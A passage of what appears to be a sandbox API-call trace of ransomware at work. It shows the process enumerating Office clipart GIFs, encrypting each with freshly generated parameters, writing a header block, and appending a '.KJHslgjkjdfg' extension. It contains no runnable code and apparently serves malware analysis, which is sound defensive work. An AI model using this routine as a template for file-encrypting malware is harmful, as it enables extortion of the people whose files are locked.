WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x990, lpOverlapped=0x0) returned 1 [0219.459] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.459] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.459] SetEndOfFile (hFile=0x138) returned 1 [0219.461] GetProcessHeap () returned 0x990000 [0219.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.461] GetProcessHeap () returned 0x990000 [0219.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.kjhslgjkjdfg")) returned 1 [0219.463] CloseHandle (hObject=0x138) returned 1 [0219.463] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0219.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.465] GetProcessHeap () returned 0x990000 [0219.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.465] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.465] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.465] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0219.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.467] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.467] GetProcessHeap () returned 0x990000 [0219.467] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.467] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.467] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.467] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.467] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.467] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.467] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.467] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.467] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.467] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.467] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.467] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x37d, lpOverlapped=0x0) returned 1 [0219.467] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x380, dwBufLen=0x380 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x380) returned 1 [0219.467] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.468] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x380, lpOverlapped=0x0) returned 1 [0219.468] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.468] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.468] SetEndOfFile (hFile=0x138) returned 1 [0219.470] GetProcessHeap () returned 0x990000 [0219.470] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.470] GetProcessHeap () returned 0x990000 [0219.470] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.kjhslgjkjdfg")) returned 1 [0219.471] CloseHandle (hObject=0x138) returned 1 [0219.471] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0219.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.472] GetProcessHeap () returned 0x990000 [0219.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.472] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.472] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.473] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0219.477] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.477] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.477] GetProcessHeap () returned 0x990000 [0219.477] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.477] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.477] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.477] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.477] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.477] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.478] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.478] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.478] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.478] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.478] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.478] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.478] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x516, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x516, lpOverlapped=0x0) returned 1 [0219.478] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x520, dwBufLen=0x520 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x520) returned 1 [0219.478] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.478] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x520, lpOverlapped=0x0) returned 1 [0219.478] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.478] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.478] SetEndOfFile (hFile=0x138) returned 1 [0219.480] GetProcessHeap () returned 0x990000 [0219.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.480] GetProcessHeap () returned 0x990000 [0219.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.kjhslgjkjdfg")) returned 1 [0219.482] CloseHandle (hObject=0x138) returned 1 [0219.482] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0219.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.483] GetProcessHeap () returned 0x990000 [0219.483] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.483] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.483] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.483] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0219.485] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.485] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.485] GetProcessHeap () returned 0x990000 [0219.485] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.485] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.485] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.485] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.485] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.485] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.485] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.485] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.486] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.486] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.486] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.486] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.486] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2fd, lpOverlapped=0x0) returned 1 [0219.486] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x300, dwBufLen=0x300 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x300) returned 1 [0219.486] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.486] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x300, lpOverlapped=0x0) returned 1 [0219.486] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.486] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.486] SetEndOfFile (hFile=0x138) returned 1 [0219.488] GetProcessHeap () returned 0x990000 [0219.488] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.488] GetProcessHeap () returned 0x990000 [0219.488] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.kjhslgjkjdfg")) returned 1 [0219.490] CloseHandle (hObject=0x138) returned 1 [0219.490] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0219.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.491] GetProcessHeap () returned 0x990000 [0219.491] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.491] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.491] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.491] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0219.493] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.493] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.493] GetProcessHeap () returned 0x990000 [0219.493] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.493] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.493] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.493] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.493] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.493] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.493] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.493] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.493] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.493] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.493] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.493] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.494] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x996, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x996, lpOverlapped=0x0) returned 1 [0219.494] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9a0) returned 1 [0219.494] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.494] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x9a0, lpOverlapped=0x0) returned 1 [0219.494] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.494] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.494] SetEndOfFile (hFile=0x138) returned 1 [0219.496] GetProcessHeap () returned 0x990000 [0219.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.497] GetProcessHeap () returned 0x990000 [0219.497] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.kjhslgjkjdfg")) returned 1 [0219.498] CloseHandle (hObject=0x138) returned 1 [0219.498] FindNextFileW (in: 